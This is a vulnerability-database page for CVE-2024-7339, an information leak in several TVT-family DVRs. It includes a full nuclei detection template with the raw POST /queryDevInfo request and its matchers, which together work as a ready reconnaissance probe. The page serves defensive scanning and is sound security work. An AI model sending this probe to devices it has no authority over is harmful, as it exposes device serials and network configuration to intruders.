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CVE-2024-7339· CWE-200

TVT DVR Sensitive Device - Information Disclosure

mediumseverity
5.3CVSS score
32%likelihood of exploitation, next 30 days
98%of all CVEs are less likely
Readycheck to confirm it

A vulnerability has been found in TVT DVR TD-2104TS-CL, DVR TD-2108TS-HP, Provision-ISR DVR SH-4050A5-5L(MM) and AVISION DVR AV108T and classified as problematic. This vulnerability affects unknown code of the file /queryDevInfo. The manipulation leads to information disclosure.

Impact

An attacker get detailed device information including hardware and software versions, serial numbers, and network configuration.

Fix

Implement strict access controls and authentication mechanisms to manage access to the device interfaces.

How to confirm it

Send: POST /queryDevInfo
Positive when: contains "softwareVersion" and "eth0" AND status 200

Run it with nuclei: nuclei -id CVE-2024-7339 -u <target>

The full check
id: CVE-2024-7339

info:
  name: TVT DVR Sensitive Device - Information Disclosure
  author: Stuxctf
  severity: medium
  description: |
    A vulnerability has been found in TVT DVR TD-2104TS-CL, DVR TD-2108TS-HP, Provision-ISR DVR SH-4050A5-5L(MM) and AVISION DVR AV108T and classified as problematic. This vulnerability affects unknown code of the file /queryDevInfo. The manipulation leads to information disclosure.
  impact: |
    An attacker get detailed device information including hardware and software versions, serial numbers, and network configuration.
  remediation: |
    Implement strict access controls and authentication mechanisms to manage access to the device interfaces.
  reference:
    - https://netsecfish.notion.site/Sensitive-Device-Information-Disclosure-in-TVT-DVR-fad1cce703d946969be5130bf3aaac0d
    - https://netsecfish.notion.site/Sensitive-Device-Information-Disclosure-in-TVT-DVR-fad1cce703d946969be5130bf3aaac0d?pvs=4
    - https://vuldb.com/?ctiid.273262
    - https://vuldb.com/?id.273262
    - https://vuldb.com/?submit.379373
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2024-7339
    cwe-id: CWE-200
    epss-score: 0.32028
    epss-percentile: 0.98323
  metadata:
    verified: true
    max-request: 1
  tags: cve,cve2024,dvr,tvt,info-leak,vkev,vuln

http:
  - raw:
      - |
        POST /queryDevInfo HTTP/1.1
        Host: {{Hostname}}

        <?xml version="1.0" encoding="utf-8" ?><request version="1.0" systemType="NVMS-9000" clientType="WEB"/>

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "softwareVersion"
          - "eth0"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from